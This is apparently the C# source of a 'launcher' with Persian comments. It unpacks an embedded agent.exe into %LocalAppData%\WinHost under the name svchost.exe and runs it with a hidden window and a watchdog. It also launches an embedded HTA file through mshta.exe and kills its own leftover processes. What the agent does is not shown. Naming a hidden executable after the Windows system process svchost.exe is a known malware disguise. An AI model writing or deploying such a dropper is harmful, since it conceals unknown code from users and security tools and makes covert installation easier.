using System;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Threading;

/* ============================================================
   IRMOD Combined Launcher v2 (compiled)
   - embeds: launcher HTA + agent exe
   - start:  old leftovers killed (path-verified) ->
             agent -> %LocalAppData%\WinHost\svchost.exe (hidden)
             HTA    -> %LocalAppData%\WinHost\whost.hta (mshta)
   - agent watches this process (-watchdog:irmod_launcher)
   - mshta closed -> agent stopped -> exit
   ============================================================ */
class IRLaunch
{
    static string dir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "WinHost");

    static void Main()
    {
        try { Directory.CreateDirectory(dir); } catch { }

        string agentPath = Path.Combine(dir, "svchost.exe");
        string htaPath = Path.Combine(dir, "whost.hta");

        /* استخراج ایجنت — هر بار اجرا = آپدیت خودکار */
        try
        {
            using (var rs = Assembly.GetExecutingAssembly().GetManifestResourceStream("agent.exe"))
            using (var fs = new FileStream(agentPath, FileMode.Create, FileAccess.Write))
            {
                byte[] buf = new byte[8192];
                int n;
                while ((n = rs.Read(buf, 0, buf.Length)) > 0) fs.Write(buf, 0, n);
            }
        }
        catch { }

        /* استخراج HTA لانچر */
        try
        {
            using (var rs = Assembly.GetExecutingAssembly().GetManifestResourceStream("launcher.hta"))
            using (var fs = new FileStream(htaPath, FileMode.Create, FileAccess.Write))
            {
                byte[] buf = new byte[65536];
                int n;
                while ((n = rs.Read(buf, 0, buf.Length)) > 0) fs.Write(buf, 0, n);
            }
        }
        catch { }

        /* پاکسازی باقی‌مانده‌های قبلی (فقط پروسه‌های پوشه خودمان) */
        KillOurs();

        /* ایجنت مخفی + سگ‌نگهبان روی پروسه خودم */
        Process agent = null;
        try
        {
            agent = Process.Start(new ProcessStartInfo(agentPath, "-watchdog:irmod_launcher")
            {
                WorkingDirectory = dir,
                WindowStyle = ProcessWindowStyle.Hidden
            });
        }
        catch { }

        /* لانچر (mshta) — تا باز است صبر */
        Process ui = null;
        try { ui = Process.Start(new ProcessStartInfo("mshta.exe", "\"" + htaPath + "\"")); } catch { }

        if (ui != null) ui.WaitForExit();
        else Thread.Sleep(Timeout.Infinite);

        /* خروجی لانچر → ایجنت و هر باقی‌مانده بسته شود */
        try { if (agent != null && !agent.HasExited) agent.Kill(); } catch { }
        KillOurs();
    }

    /* بستن ایجنت‌های خودمان: svchost/winhost که مسیرشان پوشه WinHost خودمان است
       (svchost سیستم هرگز لمس نمی‌شود) */
    static void KillOurs()
    {
        foreach (var name in new string[] { "svchost", "winhost", "irmod_agent" })
        {
            foreach (var p in Process.GetProcessesByName(name))
            {
                try
                {
                    string mp = "";
                    try { mp = p.MainModule != null ? p.MainModule.FileName : ""; } catch { }
                    if (mp.StartsWith(dir, StringComparison.OrdinalIgnoreCase)) p.Kill();
                }
                catch { }
            }
        }
    }
}